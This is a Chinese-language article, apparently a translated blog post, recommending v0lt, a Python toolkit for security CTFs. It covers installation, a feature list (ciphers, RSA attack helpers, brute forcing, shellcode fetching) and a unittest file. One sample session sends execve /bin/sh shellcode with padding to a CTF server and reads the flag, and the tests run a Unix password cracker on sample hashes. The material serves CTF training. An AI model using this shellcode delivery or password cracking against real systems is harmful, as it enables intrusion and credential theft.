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工具推荐：v0lt，CTF安全工具包

0×00 v0lt

v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具。实践任务可能会采用bash脚本来解决，但我认为Python更具有灵活性，这也是我做出这一选择的原因。和丹麦CTF队伍Gallopsled开发的 pwntools 没有关系，v0lt只是一个小型灵活但是却具有一些特别功能的工具包。

0×01 要求和安装

依赖关系:

Libmagic
Python3
- BeautifulSoup
- Requests
- filemagic
- hexdump
- passlib

安装:

git clone https://github.com/P1kachu/v0lt.git cd v0lt [sudo] python3 setup.py install # 要求sudo执行是因为可能存在缺失的依赖关系

实例: Shellcodes

>>> from v0lt import * >>> nc = Netcat("archpichu.ddns.net", 65102) Connected to port 65102 >>> print(nc.read()) GIVE ME SHELLCODZ >>> shellhack = ShellHack(4096, "bin","execve") >>> shellhack.get_shellcodes(shellhack.keywords)  ...<SNIPPED>... 85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes 86: Linux/x86:execve (/bin/sh) - 21 Bytes 87: Linux/x86:break chroot execve /bin/sh - 80 bytes 88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes ...<SNIPPED>...  Selection: 86 Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php Shellcode: "/x31/xc9/xf7/xe1/x51/x68/x2f/x2f/x73/x68/x68/x2f/x62[...]"  >>> nc.shellcat(shellhack.shellcode) >>> nc.writeln(shellhack.pad()) >>> exploit = nc.dialogue("cat flag", 3) >>> print(exploit) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: File name too long P1kaCTF{sh3llc0de_1s_e4zY}

实现功能:

加密
- Base64
- 凯撒移位
- 哈希功能(SHA, MD5)
- 位运算(XOR, 反向XOR)
- 常用转换(bytes, strings, hex)
- RSA基础模块 (逆模, 逆幂, 实现 RSA共模攻击的egcd脚本…)
- 暴力破解(基于字典, 自定义词)
Shellcodes
- 从Jonathan Salwan的个人网站 Shell-storm 选定Shellcode并用repo工具下载
- Shellcode格式
- Shell{cat,net}: 轻松发送Shellcode
- 自动填充
连接支持
- Netcat
- Telnet

更多可获得的实例:

import unittest  from v0lt import *  __author__ = 'P1kachu'  class Tests(unittest.TestCase):     def test_netcat(self):         nc = Netcat("archpichu.ddns.net", 65103)         self.assertEqual(nc.read(), "/nNothing to display yet.../n")      def test_telnet(self):         tl = Telnet("archpichu.ddns.net", 65103)         self.assertEqual(tl.read(), "/nNothing to display yet.../n")      def test_stack(self):         stack = Stack()         self.assertEqual(stack.size(), 0)         stack.push("item")         self.assertEqual(stack.is_empty(), False)         self.assertEqual(stack.size(), 1)         item = stack.pop()         self.assertEqual(stack.size(), 0)         self.assertEqual(item, "item")         self.assertEqual(stack.is_empty(), True)      def test_basic_ceasar(self):         plaintext = "This is a ceasar plaintext"         encrypted = "GUVF VF N PRNFNE CYNVAGRKG"         deciphered = basic_ceasar(plaintext, offset=13)         self.assertEqual(encrypted, deciphered)      def test_get_shellcode(self):         sh = ShellHack(70, "/bin/lol")         sh.get_shellcodes(sh.keywords)         sh = ShellHack(70, "/bin/sh")         sh.get_shellcodes(sh.keywords)      def test_flag_gen(self):         flags_gen("flags.tmp", "P1ka", 10)      def test_find_nth(self):         self.assertEqual(find_nth("lolilol", "l", 3), 6)         self.assertEqual(find_nth("lolilol", "l", 4), -1)      def brute(self):         bf = Bruteforce(charset="abcd", final_length=5, begin_with="l", end_with="P")         bf.generate_strings()         bf = Bruteforce(charset="abcdef", final_length=12, begin_with="l", end_with="P")         bf.generate_strings(output="bf.tmp")      def test_hex(self):         he = Hexeditor()         he.dump_file("setup.py")         he.save_file_as_hex("save.tmp")         he.restore_file("test1.tmp")         he.restore_file("test2.tmp", "save.tmp")      def test_passwd_cracker(self):         nix_basic_pass_cracker("HX9LLTdc/jiDE")         nix_basic_pass_cracker("HX8LLTdc/jiDE")         # nix_basic_pass_cracker("$1$khkWa1Nz$7YcmdOO1/uyHhMB7ga2L.1")         # nix_basic_pass_cracker("$5$khkWa1Nz$583CsGZkoT82wh2ukf75KT4VVrf9ZO/P0FXLiPKgG//")         # nix_basic_pass_cracker("$6$P1$XKg/SKZpe8Gbl5Utt3XVJEA4zJ6KB.IuZlShnP2FljfF32z3zoytnB.MaP9dJOObSOtiidHmeBp.feOqK4Mvg/")  if __name__ == "__main__":     suite = unittest.defaultTestLoader.loadTestsFromTestCase(Tests)     unittest.TextTestRunner().run(suite)